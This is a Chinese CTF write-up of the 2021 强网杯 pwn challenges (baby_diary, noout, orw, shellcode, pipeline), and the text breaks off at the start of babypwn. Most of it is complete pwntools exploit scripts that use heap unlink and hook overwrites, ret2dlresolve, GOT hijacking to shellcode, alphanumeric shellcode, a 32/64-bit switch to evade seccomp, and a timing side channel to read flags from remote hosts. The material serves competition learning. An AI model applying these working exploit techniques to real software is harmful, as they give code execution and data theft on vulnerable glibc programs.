2021 强网杯PWN部分WP

First Post:

Last Update:

Word Count:
6.2k

Read Time:
34 min

2021 强网杯PWN 部分WP

最终官方排名:23

baby_diary

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 __fastcall sub_132B(__int64 a1, int a2, char a3)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i < a2; ++i )
{
if ( (int)read(0, (void *)(i + a1), 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
if ( a3 == *(_BYTE *)(i + a1) )
break;
}
*(_BYTE *)(i + a1) = 0; //设置最后一个至为0
return (unsigned int)i;
}

执行完编辑函数,可以修改最后一个字节的low_byte位

1
2
3
4
5
6
7
8
9
10
11
12
void __fastcall sub_1528(unsigned int idx, int n)
{
__int64 v2; // [rsp+10h] [rbp-8h]

if ( idx <= 0x18 && bufs[idx] )
{
v2 = bufs[idx];
flags[idx] = n;
if ( n )
*(_BYTE *)(n + 1LL + v2) = (*(_BYTE *)(n + 1LL + v2) & 0xF0) + sub_146E(idx); // n若为开辟内存大小的话,存在溢出, 修改低4位
}
}

然而sub_146E函数根据下面算法计算的,若大于0x0f的话,就不能构造结果为0,这有点坑。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_146E(unsigned int a1)
{
int i; // [rsp+10h] [rbp-14h]
unsigned int v3; // [rsp+14h] [rbp-10h]

if ( a1 > 0x18 || !bufs[a1] )
return 0xFFFFFFFFLL;
v3 = 0;
for ( i = 0; i < flags[a1]; ++i )
v3 += *(unsigned __int8 *)(i + bufs[a1]);
while ( v3 > 0xF )
v3 = (v3 >> 4) + (v3 & 0xF);
return v3;
}

漏洞综述,最后字节用’\x00’截断,4bit位溢出。

glibc 2.31下绕过unlink,稍微有点难构造,加上本身程序逻辑,更难构造了,各种层层构造关联太强了,但最后还是找的了某些地址,成功构造利用链子,这需要控制很好的地址的值,比如实现unlink时,prev_size 要满足 0x100的倍数,不然不好设置我们unlink chunk size低3位为 0,还有构造unlink的fd->bk 指向自己本身,bk->fd指向自己本身,然而程序有点烦人的是最后一字节为’\x00’截断的,后面有4bit位溢出,这使得我们伪造chunk的fd必需要为0x100的整数倍才行。实现unlink之后就实现了堆重叠,泄漏Libc然后再修改__free_hook为system函数,至于glibc 2.31下如何绕过unlink,它与2.29一样的,多了个 prev_size == chunk_size的检查,这就比较麻烦, 可以参考这篇博客:https://bbs.pediy.com/thread-257901-1.htm

下面是我重重构造,实现unlink的信息

1
0x5555dc297300 —▸ 0x5555dc297dd0 —▸ 0x7f8e6ac39ca0 (main_arena+96) ◂— 0x5555dc29730

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
# ref: https://bbs.pediy.com/thread-257901-1.htm
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = './baby_diary'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "8.140.114.72:1399"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)
def ad(sz, d):
sla('>>', '1')
sla(':', str(sz))
if(sz > 0):
sa(':', d)

def dp(idx):
sla('>>', '2')
sla(':', str(idx))

def rm(idx):
sla('>>', '3')
sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
for i in range(7): # 0-6
ad(0x1000, "padding\n")

#ad(0x1000-0x210 + 0x70 , "padding\n") # 7 glibc 2.29
ad(0x1000-0x210 + 0x70 -0x40, "padding\n") # 7 glibc 2.31

for i in range(7): # 8-14
ad(0x28, 't\n')

ad(0x1b20, "largebin\n") # 15
ad(0x20, "padding\n") # 16
rm(15)

ad(0x2000, '\n') # 15
ad(0x28, p64(0) + p64(0x601) + b'\n') # idx:17 get a chunk from largebin

ad(0x28, 'a\n') # 18
ad(0x28, 'b\n') # 19
ad(0x38 + 0x300, 'c\n') # 20
ad(0x28, 'd\n') # 21
ad(0x28, 'e\n') # 22 for not merge

# fill in tcache_entry[1](size: 0x30)
t = 9
for i in range(7): # 8-14
rm(8 + i)
rm(18) # t
rm(20)
rm(21)

# clear tcache_entry[1](size: 0x30)
for i in range(7): # 8-14
ad(0x28, '\n')

# fastbin to smallbin
ad(0x450, '\n') #18

# get a chunk from smallbin , another smallbin chunk to tcache
# 20, change fake chunk's fd->bk to point to fake chunk
ad(0x28, b'\x03' + b'\x00' * 7 + b'\n')

# clear chunk from tcache
ad(0x28, 'clear\n') # 21

for i in range(7): # 8-14
rm(8 + i)

# free to fastbin
rm(19)
rm(17)

for i in range(7): # 8-14
ad(0x28, '\n')

# change fake chunk's bk->fd
ad(0x28, b'\n') # 17


# Make house of einherjar
rm(18)
for i in range(6): # 8-14
rm(8 + i)

ad(0x170, '\n') # 8
ad(0x450, '\n') # 9
ad(0x60, '\n') # 10

rm(8)
ad(0x177, b'\x00' * 0x177) # 8
rm(8)
ad(0x177, (b'\x00' * 0x16f) + b'\x06' + b'\n') # 8
# unlink
rm(9)

# leak libc
ad(0x430, '\n') # 9
dp(22)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 0x10 - 96
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
li('libc_base: ' + hex(libc_base))
#ad(0x17, p64(free_hook) + b'\n')

for i in range(3):
ad(0x28, b'\n')

rm(20) #

rm(0) # for clean
rm(1) # for clean

ad(0x18, '/bin/sh\n')

rm(9) #
ad(0x430, b'A' * 0x400 + p64(free_hook) + p64(0) + b'\n')
ad(0x28, '\n')
ad(0x28, p64(system) + b'\n')

db()
rm(0)


# double free
#rm(0)


'''
rm(9)
ad(0x37, b'\x00' + b'\x00' * 0x30 + b'\x50' + b'\n')
'''

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

noout

没有打印函数,通过’\x00’字节绕过字符串比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__sighandler_t sub_8049424()
{
__sighandler_t result; // eax
char src[32]; // [esp+Ch] [ebp-5Ch] BYREF
char buf[48]; // [esp+2Ch] [ebp-3Ch] BYREF
const char *v3; // [esp+5Ch] [ebp-Ch]

init_();
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src);
v3 = "now give you the flag\n";
read(unk_804C080, src, 0x10u);
result = (__sighandler_t)str_cmp(src, off_804C034);// 字符串比较
if ( !result )
result = sub_8049269();
return result;
}

再利用计算错误抛出SIGFPE信号使调用漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__sighandler_t sub_8049269()
{
__sighandler_t result; // eax
void (*v1)(int); // [esp+0h] [ebp-18h] BYREF
int v2[2]; // [esp+4h] [ebp-14h] BYREF
const char *v3; // [esp+Ch] [ebp-Ch]

v3 = "give me the soul:";
__isoc99_scanf("%d", v2);
v3 = "give me the egg:";
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 )
{
signal(8, (__sighandler_t)vuln); // set handler
// SIGFPE 表示一个算数运算异常
v2[1] = v2[0] / (int)v1; // 使运算异常调用漏洞函数
result = signal(8, 0);
}
return result;
}
1
2
3
4
5
6
ssize_t vuln()
{
char buf[68]; // [esp+0h] [ebp-48h] BYREF

return read(0, buf, 0x100u); // stack overflow
}

漏洞函数中就是简单的堆栈溢出了,采用dl_runtime_resolve攻击。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python2
#-*- coding:utf-8 -*-
# Author: i0gan

from pwn import *
from roputils import ROP
import os

# roputils: https://github.com/inaz2/roputils/blob/master/roputils.py
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = './test'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.138.97:1234"

# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
s('\x00' * 0x30)
#db()
# make calc error
s('\x00' * 0x20)
sl(str(-0xcccccccc))
#db()
sl(str(-1))

# vuln, stack overflow
rop = ROP(elf_path)
buf = elf.bss()
pop3 = 0x08049581
p = b'\x00' * 0x4C
p += p32(elf.sym['read'])
p += p32(pop3)
p += p32(0)
p += p32(buf)
p += p32(0x80)
p += rop.dl_resolve_call(buf + 0x10, buf, 0, 0) # call, args
sleep(0.5)
s(p)

# dl resolve data
p = '/bin/sh\x00'.ljust(0x10, '\x00')
p += rop.dl_resolve_data(buf + 0x10, 'execve')
p = p.ljust(0x80, '\x00')
sleep(1)
sl(p)

#sleep(0.1)
#sl(p)

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

orw

一个伪heap题,开启了沙箱,编辑和打印功能没有,只能开辟两次堆,释放一次,没办法进行堆操作。

存在个index 负数溢出,可以实现修改got表,为堆地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 sub_E44()
{
int idx; // [rsp+0h] [rbp-10h]
int size; // [rsp+4h] [rbp-Ch]

if ( add_nums <= 1 )
{
puts("index:");
idx = inputn();
puts("size:");
size = inputn();
if ( size >= 0 && size <= 8 && idx <= 1 ) // index overflow
{
bufs[idx] = malloc(size);
if ( !bufs[idx] )
{
puts("error");
exit(0);
}
puts("content:");
readn((_BYTE *)bufs[idx], size);
++add_nums;
}
}
return add_nums;
}

查看程序架构

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

checksec发现存在rwx段,但发现是stack上的,想了半天没想通如何跳到堆栈那里去。

试试在堆上写shellcode,然后index溢出漏洞修改atoi的got地址为shellcode堆地址,跳到堆中执行指令,然而发现远程能执行,但自己本地不行,接下来就是orw的汇编指令编写了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']

elf_path = './pwn'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "39.105.131.68:12354"
#io = process(elf_path, env = {'LD_PRELOAD': libc_path})
io = remote(host.split(':')[0], int(host.split(':')[1]))
libc = ELF(libc_path)
#--------------------------func-----------------------------
def db():
gdb.attach(io)

def ad(idx, sz, d):
sla('>>', '1')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)

def dp(idx):
sla('>>', '1')

def md():
sla('>>', '1')

def rm(idx):
sla('>>', '4')
sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
#for i in range(2):
# wirte
code = '''
lea r15, [rip + 0xf9] /* buf */
mov rdi, r15 /*buf*/
mov rsi, 0x0
mov rdx, 0x0
mov rax, 2
syscall

/*read*/
mov rdi, 3
mov rsi, r15
mov rdx, 0x100
mov rax, 0
syscall

/*write*/
mov rdi, 1
mov rax, 1
syscall
'''

p = asm(code, arch = 'amd64')
p = p.ljust(0x100, b'\x00')
p += b'./flag\x00'

ad(-14, 0, p + b'\n')
# db()
# call
sla('>>', '4')

def finish():
ia()
c()

exploit()
finish()

shellcode

沙箱检查如下

1
2
3
4
5
6
7
8
9
10
11
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0008
0002: 0x15 0x05 0x00 0x00000025 if (A == alarm) goto 0008
0003: 0x15 0x03 0x00 0x00000004 if (A == stat) goto 0007
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0008
0006: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW

输入的shellcode有检查

1
2
3
4
5
for ( i = 0; i < v6; ++i )
{
if ( v4[i] <= 31 || v4[i] == '\x7F' )
goto LABEL_10;
}

也就是机器码字符小于等于’\x31’的就退出或等于’\x7f’,我们可以采用alpha3工具将机器码生成可显示字符,当然这个工具有限制,机器码不能出现’\x00’,通过调试发现,shellcode的基址存放在rbx上,我们先实现一个输入的shellcode,避免后续不会再进行shellcode过滤。

1
2
3
4
5
6
7
8
9
10
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''

在原来的shellcode + 0x120处实现输入,再跳到那个地方去。

采用alpha3工具生成可显示shellcode如下

1
Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c

当然我也写了个函数方便修改。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p

然而这个题禁用函数太多了,open和write也禁了,只能切换到32位架构来实现部分绕过了,为了方便实现堆栈,指令储存,我重新申请了个地址段,方便后续实现架构切换方便与数据写入等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall

/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall

/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf

上面是实现向我们开辟到的内存写入数据,再从64位架构切换到32为且跳到我们开辟的内存段中。

后面就是写32位的asm code了,然而我发现,在32位下,只有一个有用的函数能调用,就是open函数,其他的read,write这些都不能调用了,这又使得重新回到64位下实现读入flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
code = '''
mov esp, 0x20a00

/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80

/*retf to 64*/
push 0x33
push 0x20030
'''

db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')

code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall

'''

由于不能使用write的系统调用,只能采用延时爆破了

1
2
3
4
if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

idx为读入的字符偏移,ch是我们猜测的字符,若想等,就进入死循环,否则就退出。

通过时间来判断是否想等。

总结:

自己踩了很多坑,shellcode必须为可显字符,后面绕过了,只能用少量的系统函数,64位架构时,只能使用read, mmap, fstat,我还以为切换架构到32位可以绕过syscall检测,想不到只允许调用open, 其他的read和write都不行,又重新切换到64位来执行read,再采用延时爆破读出来。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

#context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = './shellcode'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'

# remote server ip and port
host = "39.105.137.118:50050"

# if local debug
LOCAL = 0
LIBC = 0
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def gen_code():
fd = open('sc.bin', 'wb')
code = '''
mov r15, rbx
xor rdx, rdx
add dx, 0x1080
mov rsi, r15
add si, 0x120
xor rax, rax
syscall
jmp rsi
'''
p = asm(code, arch = 'amd64')
fd.write(p)
fd.close()
cmd = '~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="./sc.bin"'
p = os.popen(cmd).read()
print('shellcode: ' + p)
return p
#--------------------------exploit--------------------------
# ref: https://www.yuque.com/chenguangzhongdeyimoxiao/xx6p74/tqpsqr
# ref: https://blog.csdn.net/SmalOSnail/article/details/105236336
# ref: http://blog.leanote.com/post/xp0int/%5BPwn%5D-Steak-cpt.shao
# ref: https://zhuanlan.zhihu.com/p/57648345
# ~/share/ctf/alpha3/ALPHA3.py x64 ascii mixedcase rbx --input="sc.bin" > o

def exploit(idx, ch):
li('exploit...')
'''
git clone https://github.com/TaQini/alpha3.git
cd alpha3
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
rax: shellcode base_address
'''
# python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin"
#p = gen_code()
p = 'Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M144x8k1L0I3z2m4p4N4p0Y1O3c8L2k4u4v2t0O1L0A400V044p3E0c'
s(p)

code = '''
/*mmap*/
mov r9d, 0 /* off */
mov r8d, 0xFFFFFFFF /* fd */
mov r10d, 0x22 /* flags */
mov edx, 7 /* prot */
mov esi, 0x1000 /* len */
mov edi, 0x20000 /* addr */
mov eax, 9
syscall

/*read 32 shellcode*/
xor rax, rax
mov edi, 0
mov esi, 0x20000
mov edx, 0x1000
syscall

/*retf to 32*/
mov rax, 0x2300020000
push rax
'''
p = asm(code, arch = 'amd64')
p += b'\xCB' # retf

#p += p32(0x400000) + p32(0x23) # ret addr + 0x23:32bit sign
sleep(0.01)
s(p)

code = '''
mov esp, 0x20a00

/*open*/
mov eax, 5
mov ebx, 0x20020
xor ecx, ecx
xor edx, edx
int 0x80

/*retf to 64*/
push 0x33
push 0x20030
'''

db()
p = asm(code, arch = 'i386')
p += b'\xCB' # retf
p = p.ljust(0x20, b'\x90')
p += b'./flag\x00'
p = p.ljust(0x30, b'\x90')

code = '''
xor rax, rax
mov edi, 3
mov rsi, rsp
mov edx, 0x100
syscall

'''

if idx == 0:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(idx, ch)
else:
code += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(idx, ch)

p += asm(code, arch = 'amd64')
sleep(0.01)
s(p)

start = time.time()
try:
io.recv(timeout = 2)
except:
pass
end = time.time()

if (end - start > 1.5):
return ch
else:
return None

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
flag = ''
idx = 3
while True:
for ch in range(0x20, 127):
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)

ret = exploit(idx, ch)
if(ret != None):
li('found: ' + chr(ch))
flag += chr(ch)
li('flag: ' + flag)
idx += 1
io.close()

pipeline

没有free函数,通过设置大小为0即可实现释放内存功能。

找了偏移,chunk头部链表逻辑,没有发现漏洞,在编辑数据的功能中,发现了个整型溢出漏洞。

漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
_QWORD *edit_body()
{
_QWORD *result; // rax
int size; // eax
int index; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
_QWORD *buf; // [rsp+18h] [rbp-8h]

index = print("index: ");
result = (_QWORD *)get_buf(index);
buf = result;
if ( result )
{
result = (_QWORD *)*result;
if ( *buf )
{
v3 = print("size: ");
printf("data: ");
size = *((_DWORD *)buf + 3) - *((_DWORD *)buf + 2);// size - offset
if ( v3 <= size )
LOWORD(size) = v3; // vul
result = (_QWORD *)readn(*buf + *((int *)buf + 2), size);
}
}
return result;
}

一个整性溢出,因为采用LOWORD(size) = v3; 进行赋值的,当我输入负数绕过判断,若LOWORD(v3)中的值为大于size本身值,即可实现溢出,那么就很好利用了。实现了任意地址写入,但有个检查

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 __fastcall check_error(unsigned __int64 ptr)
{
unsigned __int64 result; // rax

if ( ptr < *(_QWORD *)check_mem_buf
|| (result = *(_QWORD *)check_mem_buf + *(_QWORD *)(check_mem_buf + 8), ptr >= result) )
{
puts("error");
exit(0);
}
return result;
}

而check_mem_buf的值在初始化的时候赋予了

1
2
3
4
5
6
7
8
9
10
unsigned int init_()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
check_mem_buf = (__int64)malloc(0x10uLL);
*(_QWORD *)check_mem_buf = check_mem_buf + 16;
*(_QWORD *)(check_mem_buf + 8) = 0x21000LL; // memsize
return alarm(0x78u);
}

基本上我们只能在堆段中实现任意地址写入了,这也比较好绕过,每个编辑功能都有个head chunk,修改head中的body指针,就可以实现任意地址写入数据了。

修改__realloc_hook为system,再调用realloc函数即可调用system。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
# Author: i0gan
from pwn import *
import os
r = lambda x : io.recv(x)
ra = lambda : io.recvall()
rl = lambda : io.recvline(keepends = True)
ru = lambda x : io.recvuntil(x, drop = True)
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
sa = lambda x, y : io.sendafter(x, y)
sla = lambda x, y : io.sendlineafter(x, y)
ia = lambda : io.interactive()
c = lambda : io.close()
li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')

context.log_level='debug'
context.terminal = ['tmux', 'splitw', '-h']
#context.arch = 'amd64'

elf_path = 'pipeline'
libc_path = '/glibc/2.23/64/lib/libc.so.6'
libc_path = './libc.so.6'
#libc_path = '/lib/x86_64-linux-gnu/libc.so.6'

# remote server ip and port
host = "59.110.173.239:2399"

# if local debug
LOCAL = 0
LIBC = 1
#--------------------------func-----------------------------
def db():
if(LOCAL):
gdb.attach(io)

def ad():
sla('>>', '1')

def md(idx, of, sz):
sla('>>', '2')
sla(':', str(idx))
sla(':', str(of))
sla(':', str(sz))

def rm(idx):
sla('>>', '3')
sla(':', str(idx))

def ap(idx, sz, d):
sla('>>', '4')
sla(':', str(idx))
sla(':', str(sz))
sa(':', d)

def dp(idx):
sla('>>', '5')
sla(':', str(idx))

#--------------------------exploit--------------------------
def exploit():
li('exploit...')
# leak libc
ad()
md(0, 0, 0x458)

ad()
md(0, 0, 0) # free

md(0, 0, 0x458) # add
dp(0)
leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00')
libc_base = leak - libc.sym['__malloc_hook'] - 96 - 0x10
li('libc_base: ' + hex(libc_base))

# leak heap
md(0, 0, 0) # free

md(0, 0, 0x18) # add
md(1, 0, 0x18) # add
#ap(0, -1, 'A')

ap(0, 0x18, b'A' * 0x10 + p64(0x1234))
md(0, 0, 0) # free
md(1, 0, 0) # free

md(0, 0, 0x18) # add
dp(0)
ru('data: ')
leak = u64(ru('\n').ljust(8, b'\x00'))
heap = leak
li('heap: ' + hex(heap))


ad()
md(1, 0x18, 0) # add 1
md(2, 0x18, 0) # add 2

ad()
md(3, 0x18, 0) # add 3


md(2, 0, 0) # free 2
md(3, 0, 0) # free 3
md(1, 0, 0) # free 1

li('target_chunk: ' + hex(heap + 0x460))
p = b'\x00' * 0x18
p += p64(0x21) + p64(heap + 0x460) + p64(0)
p += b'\n'
ap(0, -0x7ffff00, p)
md(3, 0, 0x18) # add 3

md(2, 0, 0x18) # add 2
p = p64(libc_base + libc.sym['__realloc_hook']) + p64(0x0000001800000000)
p += b'\n'
ap(2, 0x18, p)

ap(1, 0x18, p64(libc_base + libc.sym['system']) + b'\n')

ap(0, 0x18, '/bin/sh\x00\n')
md(0, 0, 0) # free , to get shell

def finish():
ia()
c()
#--------------------------main-----------------------------
if __name__ == '__main__':
if LOCAL:
elf = ELF(elf_path)
if LIBC:
libc = ELF(libc_path)
io = elf.process()
else:
elf = ELF(elf_path)
io = remote(host.split(':')[0], int(host.split(':')[1]))
if LIBC:
libc = ELF(libc_path)
exploit()
finish()

babypwn

这个题也是个坑,打印函数采用加密

1
2
3
4
5
6
7
8
int __fastcall enc_print(unsigned int a1)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 2; i > 0; --i )
